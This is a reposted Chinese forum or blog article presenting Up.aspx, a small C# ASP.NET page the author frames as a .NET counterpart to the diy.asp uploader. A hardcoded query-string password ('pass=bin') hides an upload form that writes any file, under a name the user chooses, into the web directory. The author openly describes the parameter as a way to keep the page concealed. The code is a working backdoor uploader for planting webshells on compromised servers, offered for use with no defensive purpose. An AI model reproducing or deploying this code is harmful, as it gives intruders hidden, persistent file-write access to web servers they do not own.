Up.aspx C#版
程序员文章站
2022-05-17 14:49:41
by:bin最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。我也发一个上传的东东。其实可以完全做成c/s版的,不过...
by:bin
最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。
我也发一个上传的东东。其实可以完全做成c/s版的,不过感觉没什么必要。可以自定义文件名,用参数访问达到隐蔽的效果。没有做异常处理!
提示:访问的格式为 xxx.aspx?pass=bin
<%@ page language="" debug="true" validaterequest="false"%>
<%@ import namespace="system.web" %>
<script runat="server">
protected void page_load(object sender, eventargs e)
{
string pass = "bin";//密码
form1.visible = false;
if ( pass == request.querystring["pass"])
{
form1.visible = true;
}
}
protected void button1_click(object sender, eventargs e)
{
fileupload.postedfile.saveas(server.mappath("./") + textbox1.text);
}
</script>
<head runat="server">
<title>upload</title>
</head>
<body>
<form id="form1" runat="server">
<p>
<asp:fileupload id="fileupload" runat="server" /> 文件名:<asp:textbox id="textbox1" runat="server"></asp:textbox>
<asp:button id="button1" runat="server" onclick="button1_click" text="up" /></p>
</form>
</body>
</html>